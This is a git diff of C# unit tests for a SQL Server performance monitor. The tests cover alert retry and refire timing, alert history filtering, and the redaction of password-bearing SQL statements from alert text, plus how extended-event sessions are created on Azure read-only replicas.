+        var again = Assert.Single(e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 600) }, 300, 0, TimeSpan.Zero));
+        Assert.Equal(AgAlertPolicy.SyncFellBehindMetric, again.MetricName);
+        now = now.AddMinutes(60);
+        Assert.Empty(e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 600) }, 300, 0, TimeSpan.Zero));
+    }
+
     [Fact]
     public void SyncFellBehind_SuspendedSecondaryDriftingPastTheThreshold_StillFires()
     {
diff --git a/Lite.Tests/AgAlertFailedSendRetryTests.cs b/Lite.Tests/AgAlertFailedSendRetryTests.cs
index 1191baff6a..f45bca0c7f 100644
--- a/Lite.Tests/AgAlertFailedSendRetryTests.cs
+++ b/Lite.Tests/AgAlertFailedSendRetryTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 public sealed class AgAlertFailedSendRetryTests
 {
     private const int ServerId = 4242;
+    /* #5493: also the refire interval the sync-behind sweeps below pass (the shape of "Server Unreachable"). */
     private static readonly TimeSpan Cooldown = TimeSpan.FromMinutes(5);
     private static readonly TimeSpan Refire = TimeSpan.FromMinutes(10);
     private static readonly DateTime Start = new(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
@@ -263,7 +264,7 @@ public void ADataMovementSuspendedWhoseEveryChannelFailed_IsTriedAgainAMinuteLat
     }
 
     [Fact]
-    public void ASyncFellBehindWhoseEveryChannelFailed_IsTriedAgainAMinuteLater_NotAfterTheCooldown()
+    public void ASyncFellBehindWhoseEveryChannelFailed_IsTriedAgainAMinuteLater_NotAfterTheRefireInterval()
     {
         var e = Evaluator();
         var behind = new[] { Database(lagSeconds: 900) };
@@ -285,6 +286,30 @@ public void ASyncFellBehindWhoseEveryChannelFailed_IsTriedAgainAMinuteLater_NotA
         Single(e.EvaluateDatabases(ServerId, behind, 300, 0, Cooldown));
     }
 
+    [Fact]
+    public void ASyncFellBehindWhoseEveryChannelFailed_WithRefireOff_IsTriedAgainAMinuteLater_ThenNeverAgain()
+    {
+        var e = Evaluator();
+        var behind = new[] { Database(lagSeconds: 900) };
+        var first = Single(e.EvaluateDatabases(ServerId, behind, 300, 0, TimeSpan.Zero));
+        e.NoteSent(first, Failed(), Cooldown);
+
+        At(TimeSpan.FromSeconds(59));
+        Assert.Empty(e.EvaluateDatabases(ServerId, behind, 300, 0, TimeSpan.Zero));
+
+        At(TimeSpan.FromSeconds(60));
+        var again = Single(e.EvaluateDatabases(ServerId, behind, 300, 0, TimeSpan.Zero));
+        Assert.StartsWith("Still behind (the previous alert reached no channel", again.DetailText, StringComparison.Ordinal);
+        e.NoteSent(again, Delivered(), Cooldown);
+
+        /* Delivered, and with re-alerting off nothing brings it back. */
+        for (var minute = 2; minute <= 120; minute++)
+        {
+            At(TimeSpan.FromMinutes(minute));
+            Assert.Empty(e.EvaluateDatabases(ServerId, behind, 300, 0, TimeSpan.Zero));
+        }
+    }
+
     /* ---------------- a server removed from monitoring ---------------- */
 
     [Fact]
diff --git a/Lite.Tests/AgCollectorDefinitionTests.cs b/Lite.Tests/AgCollectorDefinitionTests.cs
index d7cf7c5ee0..bcd1784a51 100644
--- a/Lite.Tests/AgCollectorDefinitionTests.cs
+++ b/Lite.Tests/AgCollectorDefinitionTests.cs
@@ -37,7 +37,7 @@ public sealed class AgCollectorDefinitionTests
     private const string ExpectedReplicaQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     ag_name = ag.name,
     replica_server_name = ar.replica_server_name,
     role_desc = ars.role_desc,
@@ -64,7 +64,7 @@ ORDER BY
     private const string ExpectedDatabaseQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     ag_name = ag.name,
     database_name = d.name,
     replica_server_name = ar.replica_server_name,
diff --git a/Lite.Tests/AgedDatabaseMigrationTests.cs b/Lite.Tests/AgedDatabaseMigrationTests.cs
index 84785adcc0..d2cd0b5461 100644
--- a/Lite.Tests/AgedDatabaseMigrationTests.cs
+++ b/Lite.Tests/AgedDatabaseMigrationTests.cs
@@ -70,7 +70,7 @@ physical_memory_mb BIGINT NOT NULL
             await ExecAsync(seed, "CREATE INDEX idx_server_properties_time ON server_properties(server_id, collection_time)");
         }
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
@@ -116,7 +116,7 @@ public async Task UpgradeFromV47_CreatesConfigDatabaseStateExpected_WhenItPredat
                enough that this table had never been created — that is the entire bug. */
         }
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
@@ -167,7 +167,7 @@ database_size_stats is exactly this index/column shape. */
             await ExecAsync(seed, "CREATE INDEX idx_database_size_stats_time ON database_size_stats(server_id, collection_time)");
         }
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
@@ -213,7 +213,7 @@ total_size_mb DECIMAL(19,2) NOT NULL
             await ExecAsync(seed, "CREATE INDEX idx_database_size_stats_time ON database_size_stats(server_id, collection_time)");
         }
 
-        var initializer = new DuckDbInitializer(_dbPath);
+        using var initializer = new DuckDbInitializer(_dbPath);
         await initializer.InitializeAsync();
 
         using var verify = new DuckDBConnection($"Data Source={_dbPath}");
diff --git a/Lite.Tests/AgentStatusArchivedHistoryTests.cs b/Lite.Tests/AgentStatusArchivedHistoryTests.cs
index f7679e5d2f..bfef59be00 100644
--- a/Lite.Tests/AgentStatusArchivedHistoryTests.cs
+++ b/Lite.Tests/AgentStatusArchivedHistoryTests.cs
@@ -48,8 +48,8 @@ private static async Task ExecuteAsync(DuckDBConnection connection, string sql)
     public async Task ARunningRowInTheArchive_StillCounts_WhenTheHotTableHoldsOnlyTheNewestStoppedRow()
     {
         var dbPath = Path.Combine(_tempDir, "test.duckdb");
-        var initializer = new DuckDbInitializer(dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(dbPath);
+        await initializer.InitializeFromTemplateAsync();
         const string columns = "(collection_id, collection_time, server_id, server_name, agent_running, agent_status_desc, agent_startup_desc, next_scheduled_run)";
         var now = DateTime.UtcNow;
 
diff --git a/Lite.Tests/AlertDeliveryModeThreadingGuardTests.cs b/Lite.Tests/AlertDeliveryModeThreadingGuardTests.cs
index 3ba38e79da..b1138164f5 100644
--- a/Lite.Tests/AlertDeliveryModeThreadingGuardTests.cs
+++ b/Lite.Tests/AlertDeliveryModeThreadingGuardTests.cs
@@ -30,6 +30,7 @@ namespace PerformanceMonitorLite.Tests;
 /// pass. Literal- and comment-aware through that walker, so a method name inside a doc comment or a string
 /// is never counted as a call.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class AlertDeliveryModeThreadingGuardTests
 {
     private const string Method = "TrySendAlertEmailAsync";
diff --git a/Lite.Tests/AlertHistoryCountFilterTests.cs b/Lite.Tests/AlertHistoryCountFilterTests.cs
new file mode 100644
index 0000000000..8bcdb1388d
--- /dev/null
+++ b/Lite.Tests/AlertHistoryCountFilterTests.cs
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5542 L6: Lite's Alert History count text follows a column filter, as the Darling Viewer's tab does. The read is cut at 500 rows, the
+/// count says how many the grid shows now, and the "showing the newest 500" label belongs to the read, so a filter that narrows the
+/// grid changes the number and keeps the label.
+/// </summary>
+public sealed class AlertHistoryCountFilterTests
+{
+    [Fact]
+    public void AColumnFilter_RebuildsTheCountTextFromWhatTheGridNowShows_AndKeepsTheCapLabel()
+    {
+        StaTestThread.Run(() =>
+        {
+            var tab = new AlertsHistoryTab();
+            tab.Initialize(null!, _ => null);
+            var rows = new List<AlertHistoryRow>();
+            for (var i = 0; i < AlertsHistoryTab.RowCap; i++)
+            {
+                rows.Add(new AlertHistoryRow { ServerId = 1, ServerName = i < 7 ? "example-sql-01" : "example-sql-02", MetricName = "CPU" });
+            }
+
+            tab.ShowAlerts(rows);
+            Assert.Equal("500 alert(s) (showing the newest 500)", tab.AlertCountIndicator.Text);
+
+            tab.ApplyColumnFilter(new ColumnFilterState { ColumnName = "ServerName", Operator = FilterOperator.Equals, Value = "example-sql-01" });
+            Assert.Equal("7 alert(s) (showing the newest 500)", tab.AlertCountIndicator.Text);
+
+            /* The popup's Clear button raises FilterApplied with an empty filter: the full count comes back. */
+            tab.ApplyColumnFilter(new ColumnFilterState { ColumnName = "ServerName", Operator = FilterOperator.Contains, Value = "" });
+            Assert.Equal("500 alert(s) (showing the newest 500)", tab.AlertCountIndicator.Text);
+        });
+    }
+
+}
diff --git a/Lite.Tests/AlertHistoryDisplayNameTests.cs b/Lite.Tests/AlertHistoryDisplayNameTests.cs
index 12dbb13780..b4f3289dde 100644
--- a/Lite.Tests/AlertHistoryDisplayNameTests.cs
+++ b/Lite.Tests/AlertHistoryDisplayNameTests.cs
@@ -46,8 +46,8 @@ public void Dispose()
 
     private async Task<List<AlertHistoryRow>> ReadAsync(bool withNames)
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var server = Server();
         var id = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
diff --git a/Lite.Tests/AlertHistorySourceTests.cs b/Lite.Tests/AlertHistorySourceTests.cs
index 82b1a9df8e..7f2152d096 100644
--- a/Lite.Tests/AlertHistorySourceTests.cs
+++ b/Lite.Tests/AlertHistorySourceTests.cs
@@ -43,8 +43,8 @@ public void Dispose()
 
     private async Task<DuckDBConnection> InitializeDatabaseAsync()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        using var initializer = new DuckDbInitializer(_dbPath);
+        await initializer.InitializeFromTemplateAsync();
 
         var connection = new DuckDBConnection($"Data Source={_dbPath}");
         await connection.OpenAsync(TestContext.Current.CancellationToken);
diff --git a/Lite.Tests/AlertIncidentRenderTests.cs b/Lite.Tests/AlertIncidentRenderTests.cs
index fe659f8a00..f986a89818 100644
--- a/Lite.Tests/AlertIncidentRenderTests.cs
+++ b/Lite.Tests/AlertIncidentRenderTests.cs
@@ -151,6 +151,71 @@ public void AFilteredContext_RendersItsSurvivorAndFooter_OnEveryVehicle()
         }
     }
 
+    /// <summary>
+    /// The delivery filter's two hand-rolled copies — the filtered render and the roster press
+    /// (<see cref="IncidentDeliveryFilter"/>'s WithRoster remarks explain why they enumerate members rather
+    /// than clone) — must carry every member the render reads. Stated two ways, because either alone rots
+    /// silently: the census is a reflection pin of <see cref="AlertContext"/>'s whole public member set, so
+    /// a member added to the type is a decision about the copies rather than an accident; and the carry
+    /// half sets the members a COPY must keep and reads them back off both copies, so a copy that forgets
+    /// one goes red here. Exact, not a floor, so a REMOVAL is a decision too.
+    /// </summary>
+    [Fact]
+    public void TheDeliveryFilterCopies_CarryEveryRenderMember_TheCensusPinsAlertContext()
+    {
+        var census = typeof(AlertContext).GetProperties()
+            .Select(p => p.Name)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .ToArray();
+
+        Assert.Equal(
+            new[]
+            {
+                "AgReplicaIdentity", "AttachmentFileName", "AttachmentXml", "CollectorName", "Details",
+                "Incidents", "Route", "Routing", "SeverityOverride", "WaitType"
+            },
+            census);
+
+        var context = AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A");
+        context.SeverityOverride = AlertSeverityLevel.Critical;
+        context.AttachmentXml = "<graph/>";
+        context.AttachmentFileName = "deadlock_graph.xml";
+        AlertIncidentRenderer.Apply(context, new[]
+        {
+            new AlertIncident("stale-census", new[] { "SalesDb.dbo.Orders" }),
+            new AlertIncident("fresh-census", new[] { "SalesDb.dbo.Shipments" })
+        });
+
+        var filtered = IncidentDeliveryFilter.ForDelivery(context, null, new[] { "fresh-census" }).Context;
+        var pressed = IncidentDeliveryFilter.ForDelivery(
+            context, null, deliverableDedupKeys: null,
+            aggregateRoster: new AlertDetailItem { Heading = "roster-census" }).Context;
+
+        Assert.NotNull(filtered);
+        Assert.NotNull(pressed);
+        Assert.NotSame(context, filtered);
+        Assert.NotSame(context, pressed);
+
+        /* The two copies carry different halves (both deliberate): the FILTERED render resolves the
+           attachment from the incidents it KEEPS (none here, so none — the alert-level graph may belong
+           to a held-back incident) and keeps only the delivered incident, while the roster press copies
+           the alert-level pair and the whole incident list as-is (the press filters nothing). Severity and
+           the identity are identical on both. */
+        foreach (var copy in new[] { filtered!, pressed! })
+        {
+            Assert.Equal(AlertSeverityLevel.Critical, copy.SeverityOverride);
+            Assert.Equal("OrdersAG:REPLICA-A", copy.AgReplicaIdentity);
+        }
+
+        Assert.Null(filtered!.AttachmentXml);
+        Assert.Null(filtered!.AttachmentFileName);
+        Assert.Equal(new[] { "fresh-census" }, filtered!.Incidents!.Select(i => i.DedupKey).ToArray());
+
+        Assert.Equal("<graph/>", pressed!.AttachmentXml);
+        Assert.Equal("deadlock_graph.xml", pressed!.AttachmentFileName);
+        Assert.Equal(new[] { "stale-census", "fresh-census" }, pressed!.Incidents!.Select(i => i.DedupKey).ToArray());
+    }
+
     [Fact]
     public void DedupKey_RendersOnTeamsSlackAndBothEmailBodies()
     {
diff --git a/Lite.Tests/AlertSettingsControlWiringTests.cs b/Lite.Tests/AlertSettingsControlWiringTests.cs
index 78ca6cb18f..be96cfa322 100644
--- a/Lite.Tests/AlertSettingsControlWiringTests.cs
+++ b/Lite.Tests/AlertSettingsControlWiringTests.cs
@@ -29,6 +29,7 @@ namespace Lite.Tests;
 /// regresses. The apps are checked separately because their control sets legitimately differ (Darling has
 /// AG boxes Lite has no concept of); what is pinned is that each app is internally consistent.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class AlertSettingsControlWiringTests
 {
     /// <summary>
diff --git a/Lite.Tests/AlertSeverityTests.cs b/Lite.Tests/AlertSeverityTests.cs
index 267c02cabb..e5ed0eb6e2 100644
--- a/Lite.Tests/AlertSeverityTests.cs
+++ b/Lite.Tests/AlertSeverityTests.cs
@@ -324,6 +324,10 @@ public void EveryFiredMetricName_HasASeverityArm_NotTheInfoFallThrough()
             /* Darling self-alerts (#2090's batch — all fire Critical at their sites). */
             "Capture Down", "Collection Stopped", "Agent Not Running",
             "Store Disk Pressure", "Store Runtime Upgrade", "Compression Job Stuck",
+            /* #5450: Warning at its one site. */
+            "Collection Gap At Start",
+            /* #5450: Warning at its one site. */
+            "Collection Gaps In History",
             /* #3816: the policy-job self-heal's other two families. Each fires ONE tier at its site
                (refresh Critical, retention Warning), so each name's arm is the faithful replay colour. The
                issue's fourth alert, "Store Job Failing", is deliberately NOT listed: it is one of the
diff --git a/Lite.Tests/AlertStatementCutOrderLiteTests.cs b/Lite.Tests/AlertStatementCutOrderLiteTests.cs
new file mode 100644
index 0000000000..b8cba50eed
--- /dev/null
+++ b/Lite.Tests/AlertStatementCutOrderLiteTests.cs
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5320, Lite's side: Lite builds its blocking, deadlock and long-running-query alert bodies through the same
+/// shared <see cref="AlertContextBuilders"/> Darling does, so one pin per builder holds the order here too. A
+/// statement judged WHOLE and then cut shows the withheld marker; a cut that came first would show the value in the
+/// statement's first 300 characters, because the text that names it is past the cut.
+/// </summary>
+public sealed class AlertStatementCutOrderLiteTests
+{
+    private const string Value = "Hunter2Secret5320";
+
+    private static readonly string Statement =
+        $"SELECT '{Value}' AS v" + string.Concat(Enumerable.Range(0, 60).Select(i => $", c{i:D4} AS a{i:D4}"))
+        + " INTO #t; CREATE LOGIN leaker WITH PASSWORD = 'x';";
+
+    private static readonly List<string> NoExclusions = new();
+
+    private static void AssertWithheld(AlertContext? context)
+    {
+        var text = AlertContextBuilders.ContextToDetailText(context) ?? "";
+        Assert.DoesNotContain(Value, text, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFixtureStatement_IsNamedWhole_AndItsFirstThreeHundredCharactersAreNot()
+    {
+        Assert.True(SensitiveStatements.Names(Statement));
+        Assert.False(SensitiveStatements.Names(Statement[..300]));
+        Assert.Contains(Value, Statement[..300], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BlockingContext_ShowsTheMarker()
+    {
+        var rows = new List<BlockedProcessAlertRow>
+        {
+            new() { DatabaseName = "AppDb", WaitTimeMs = 9000, ContentiousObject = "AppDb.dbo.Ledger", BlockedSqlText = Statement, BlockingSqlText = Statement },
+        };
+
+        AssertWithheld(AlertContextBuilders.BuildBlockingContext("SQL2022", rows, NoExclusions));
+    }
+
+    [Fact]
+    public void DeadlockContext_ShowsTheMarker_ForAVictimStatementAndAPartyStatement()
+    {
+        var graph = "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list>"
+            + $"<process id=\"process1\" spid=\"51\" currentdbname=\"AppDb\" lockMode=\"X\"><inputbuf>{Statement}</inputbuf></process>"
+            + "<process id=\"process2\" spid=\"52\" currentdbname=\"AppDb\" lockMode=\"U\"><inputbuf>SELECT 2</inputbuf></process>"
+            + "</process-list><resource-list><keylock objectname=\"AppDb.dbo.Ledger\" indexname=\"IX\">"
+            + "<owner id=\"process2\" mode=\"U\"/><waiter id=\"process1\" mode=\"X\"/></keylock></resource-list></deadlock>";
+        var rows = new List<DeadlockAlertRow>
+        {
+            new() { VictimProcessId = "process1", VictimSqlText = Statement, DeadlockGraphXml = graph },
+        };
+
+        AssertWithheld(AlertContextBuilders.BuildDeadlockContext("SQL2022", rows, NoExclusions));
+    }
+
+    [Fact]
+    public void LongRunningQueryContext_ShowsTheMarker()
+    {
+        var queries = new List<LongRunningQueryInfo>
+        {
+            new() { SessionId = 61, DatabaseName = "AppDb", QueryText = Statement, ElapsedSeconds = 900 },
+        };
+
+        AssertWithheld(AlertContextBuilders.BuildLongRunningQueryContext("SQL2022", queries));
+    }
+}
diff --git a/Lite.Tests/AlwaysOnXeReadOnlyIntentLiteTests.cs b/Lite.Tests/AlwaysOnXeReadOnlyIntentLiteTests.cs
new file mode 100644
index 0000000000..76762622b2
--- /dev/null
+++ b/Lite.Tests/AlwaysOnXeReadOnlyIntentLiteTests.cs
@@ -0,0 +1,531 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Which connection each step of the deadlock and blocked-process sessions' ensure uses on Azure SQL Database, for a
+/// registration with read-only intent and for one without (#4961). A session cannot be created or dropped over a connection
+/// to a read-only replica, and a definition made on the primary replicates to it, so a registration with the intent creates
+/// over a connection without it. The start, the probes and the read stay on the registration's own connection, because run
+/// state is per replica. A session that runs on the replica is stopped there before it is dropped on the primary, on the
+/// switch back and when the server is removed. Each test drives the real ensure against a scripted primary and replica,
+/// which see the connection string each open would use.
+///
+/// <para>In <c>app-logger-statics</c> because the tests read <see cref="AppLogger"/>'s process-wide buffer, which another
+/// reader would drain from under them.</para>
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class AlwaysOnXeReadOnlyIntentLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private const string Host = "intent.database.windows.net";
+
+    private readonly string _tempDir;
+    private readonly string _configDir;
+    private readonly string _dbPath;
+
+    public AlwaysOnXeReadOnlyIntentLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private static string Shared(AlwaysOnXeSessionKind kind) => AlwaysOnXeSessions.SharedNameFor(kind);
+
+    private sealed class AlreadyThere : Exception
+    {
+        public AlreadyThere() : base("already there") { }
+    }
+
+    /// <summary>
+    /// One Azure SQL Database as its primary and its read-only replica see it. A definition is made on the primary and
+    /// replicates at once; a session runs on one side or the other, and is started and stopped on its own. The replica
+    /// refuses a create or a drop with error 3906, and the primary refuses a drop while the session still runs on the replica
+    /// (the documented order: stop it there, then drop it on the primary).
+    /// </summary>
+    private sealed class Pair
+    {
+        public HashSet<string> Definitions { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> WrongEvent { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> RunningOnPrimary { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> RunningOnReplica { get; } = new(StringComparer.Ordinal);
+
+        /* Every open, and every call over a connection: its intent, then what it was. */
+        public List<ApplicationIntent> Opens { get; } = new();
+        public List<(ApplicationIntent Intent, string What)> Log { get; } = new();
+
+        /* A database that is read-only itself, reached without the intent: the primary refuses creates too. */
+        public bool PrimaryIsReadOnly { get; set; }
+
+        /// <summary>The (intent, verb) of each statement that names one session, in the order sent.</summary>
+        public List<(ApplicationIntent Intent, string Verb)> Statements(string name) =>
+            Log.Where(e => e.What.StartsWith("DDL ", StringComparison.Ordinal) && e.What.Contains("[" + name + "]", StringComparison.Ordinal))
+               .Select(e => (e.Intent, Verb: e.What["DDL ".Length..e.What.IndexOf(' ', "DDL ".Length)]))
+               .ToList();
+
+        public List<ApplicationIntent> ReadsOf(string prefix) =>
+            Log.Where(e => e.What.StartsWith(prefix, StringComparison.Ordinal)).Select(e => e.Intent).ToList();
+    }
+
+    private sealed class Channel : IAlwaysOnXeDatabase
+    {
+        private readonly Pair _pair;
+        private readonly ApplicationIntent _intent;
+
+        public Channel(Pair pair, ApplicationIntent intent)
+        {
+            _pair = pair;
+            _intent = intent;
+        }
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+        {
+            _pair.Log.Add((_intent, "catalog " + sessionName));
+            return Task.FromResult(
+                !_pair.Definitions.Contains(sessionName) ? AlwaysOnXeCatalog.Missing
+                : _pair.WrongEvent.Contains(sessionName) && kind == AlwaysOnXeSessionKind.Deadlock ? AlwaysOnXeCatalog.WrongEvent
+                : AlwaysOnXeCatalog.Present);
+        }
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken)
+        {
+            _pair.Log.Add((_intent, "started " + sessionName));
+            return Task.FromResult(Running.Contains(sessionName));
+        }
+
+        private HashSet<string> Running => _intent == ApplicationIntent.ReadOnly ? _pair.RunningOnReplica : _pair.RunningOnPrimary;
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            var text = statement.TrimStart();
+            var name = text[(text.IndexOf('[') + 1)..text.IndexOf(']')];
+            var creates = text.StartsWith("CREATE EVENT SESSION", StringComparison.Ordinal);
+            var starts = text.Contains("STATE = START", StringComparison.Ordinal);
+            var stops = text.Contains("STATE = STOP", StringComparison.Ordinal);
+            var drops = text.StartsWith("DROP EVENT SESSION", StringComparison.Ordinal);
+            var verb = creates && starts ? "CREATE+START" : creates ? "CREATE" : starts ? "START" : stops ? "STOP" : "DROP";
+            _pair.Log.Add((_intent, "DDL " + verb + " [" + name + "]"));
+
+            if ((creates || drops) && (_intent == ApplicationIntent.ReadOnly || _pair.PrimaryIsReadOnly))
+            {
+                throw SqlExceptionFactory.Create(
+                    LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber, errorClass: 16, message: "Failed to update database because the database is read-only.");
+            }
+
+            if (creates)
+            {
+                if (_pair.Definitions.Contains(name))
+                {
+                    throw new AlreadyThere();
+                }
+
+                _pair.Definitions.Add(name);
+                if (starts)
+                {
+                    Running.Add(name);
+                }
+            }
+            else if (drops)
+            {
+                if (_pair.RunningOnReplica.Contains(name))
+                {
+                    throw new InvalidOperationException("The session still runs on a read-only replica: stop it there first.");
+                }
+
+                _pair.Definitions.Remove(name);
+                _pair.RunningOnPrimary.Remove(name);
+            }
+            else if (starts)
+            {
+                if (!_pair.Definitions.Contains(name))
+                {
+                    throw new InvalidOperationException("The session does not exist.");
+                }
+
+                if (!Running.Add(name))
+                {
+                    throw new AlreadyThere();
+                }
+            }
+            else if (stops && !Running.Remove(name))
+            {
+                throw new InvalidOperationException("The session is not running here.");
+            }
+
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => exception is AlreadyThere;
+
+        /* As the app's own connection reads them, so the shared marking sees a read-only database's refusal (error 3906). */
+        public IEnumerable<int> ErrorNumbers(Exception exception) => RemoteCollectorService.ErrorNumbersOf(exception);
+    }
+
+    private sealed class Rig
+    {
+        public required RemoteCollectorService Service { get; init; }
+        public required ServerConnection Server { get; init; }
+        public Pair Alpha { get; } = new();
+
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+        /// <summary>This rig's lines in the log buffer since the last drain.</summary>
+        public List<string> Lines() =>
+            AppLogger.DrainBufferedLines()
+                .Where(line => line.Contains(Server.DisplayName, StringComparison.Ordinal))
+                .ToList();
+
+        /// <summary>The rig's lines at Warning or above since the last drain: every one of them, whatever it says.</summary>
+        public List<string> Loud() =>
+            Lines().Where(line => line.Contains("[WARN ]", StringComparison.Ordinal) || line.Contains("[ERROR]", StringComparison.Ordinal)).ToList();
+
+        public async Task EnsureBothAsync()
+        {
+            await Service.EnsureDeadlockXeSessionAsync(Server, engineEdition: 5, CancellationToken.None);
+            await Service.EnsureBlockedProcessXeSessionAsync(Server, engineEdition: 5, CancellationToken.None);
+        }
+
+        public string Own(AlwaysOnXeSessionKind kind) =>
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, Service.GetInstallId(), kind);
+    }
+
+    private async Task<Rig> BuildRigAsync(bool readOnlyIntent)
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var server = new ServerConnection
+        {
+            ServerName = Host,
+            DisplayName = "intent-" + Guid.NewGuid().ToString("N")[..8],
+            ReadOnlyIntent = readOnlyIntent,
+        };
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = 5;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("deadlocks", enabled: true);
+        schedules.UpdateSchedule("blocked_process_report", enabled: true);
+
+        var service = new RemoteCollectorService(
+            duckDb, servers, schedules, installIdStore: new InstallIdStore(_configDir, "test-machine", null));
+        var rig = new Rig { Service = service, Server = server };
+
+        service.LongQueryTraceUtcNowForTests = () => rig.Clock;
+        service.XeSessionDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "master", "alpha" });
+        service.AlwaysOnXeConnectionForTests = (_, database, connectionString, _) =>
+        {
+            /* The removal reads the database name back from the choice's key, which keeps it in upper case. */
+            Assert.Equal("alpha", database, ignoreCase: true);
+            Assert.Equal("alpha", new SqlConnectionStringBuilder(connectionString).InitialCatalog, ignoreCase: true);
+            var intent = new SqlConnectionStringBuilder(connectionString).ApplicationIntent;
+            rig.Alpha.Opens.Add(intent);
+            return Task.FromResult<IAlwaysOnXeDatabase>(new Channel(rig.Alpha, intent));
+        };
+
+        return rig;
+    }
+
+    private static readonly AlwaysOnXeSessionKind[] Kinds = { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess };
+
+    /* ── A registration with read-only intent ── */
+
+    [Fact]
+    public async Task ReadOnlyIntent_ASharedSessionThatIsMissing_IsCreatedOverAConnectionWithoutTheIntent_AndStartedOverTheOwnOne()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+
+        await rig.EnsureBothAsync();
+
+        foreach (var kind in Kinds)
+        {
+            var shared = Shared(kind);
+            Assert.Equal(
+                new[] { (ApplicationIntent.ReadWrite, "CREATE"), (ApplicationIntent.ReadOnly, "START") },
+                rig.Alpha.Statements(shared));
